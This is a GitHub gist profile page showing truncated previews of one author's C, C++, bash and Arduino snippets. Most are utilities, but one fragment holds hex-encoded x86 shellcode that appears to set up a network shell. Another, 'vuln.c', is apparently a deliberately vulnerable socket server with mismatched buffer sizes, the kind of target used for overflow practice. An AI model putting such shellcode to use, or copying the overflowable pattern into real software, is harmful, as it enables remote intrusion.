Skip to content

Instantly share code, notes, and snippets.

View kala13x's full-sized avatar

Sandro Kalatozishvili kala13x

View GitHub Profile
@kala13x
kala13x / xjson.c
Last active February 1, 2022 16:18
JSON linter and minify with xutils/xjson
/*!
* @file libxutils/examples/xjson.c
*
* This source is part of "libxutils" project
* 2019-2021 Sun Dro (f4tb0y@protonmail.com)
*
* @brief Parse, lint and minify json using xjson library.
*/
#include <xutils/xstd.h>
@kala13x
kala13x / xssl.hpp
Last active February 18, 2021 11:06
OpenSSL client/server implementation example for C++
/*
* xssl.hpp
*
* Copyleft (C) 2020 Sun Dro (f4tb0y@protonmail.com)
* OpenSSL server/client implementation example for C++
*/
#ifndef __CXXUTILS_XSSL_H__
#define __CXXUTILS_XSSL_H__
#!/bin/bash
intervalSec=10
oldValue=0
while [ true ]
do
newValue=$(curl https://stopcov.ge|grep "დადასტურებული"|cut -d ">" -f 3|cut -d "<" -f 1)
if [ $oldValue != $newValue ]
then
notify-send "Cases in Georgia:" $newValue
/*
* numbers.c
*
* Copyleft (C) 2018 Sun Dro (a.k.a. kala13x)
*
* This is the CLI client for nomrebi.com web site.
*/
#include <stdio.h>
#include <stdlib.h>
@kala13x
kala13x / rrmdir.c
Created January 3, 2016 21:34
Recursively remove directory.
/*
* Recursively remove directory with the given path.
*
* Copyright (c) 2015 Sun Dro (a.k.a. 7th Ghost)
* Web: http://off-sec.com/ ; E-Mail: kala0x13@gmail.com
*
* This is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
@kala13x
kala13x / strtoken.c
Last active April 17, 2019 16:58
Thread safe alternative of the strtok() function
/*
* strtoken.c
*
* Copyleft (C) 2015 Sun Dro (a.k.a. kala13x)
*
* This source is thread safe alternative of the strtok().
* See usage of the get_token() below at main() function.
*/
@kala13x
kala13x / quad-equatin.c
Created October 22, 2015 13:41
Simple app to solve quadratic equation
/*
* quad-equatin.c
*
* Copyleft (C) 2013 Sun Dro
*
* Simple app to solve quadratic equation
*/
#include <stdio.h>
#include <stdlib.h>
@kala13x
kala13x / webclient.ino
Last active May 24, 2025 11:02
WebClient example for Arduino HR911105A Ethernet Shield
/* ============================================
Desc: WebClient for arduino Ethernet Shield
Date: 03.03.2015 - kala13x (a.k.a 7th Ghost)
Site: http://off-sec.com/
============================================ */
#include <SPI.h>
#include <Ethernet.h>
// MAC address for controller
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
char shellcode[] =
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
@kala13x
kala13x / vuln.c
Last active August 29, 2015 14:12
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#define BUFFER_SIZE 1024
#define NAME_SIZE 2048
int handling(int c)
{
char buffer[BUFFER_SIZE], name[NAME_SIZE];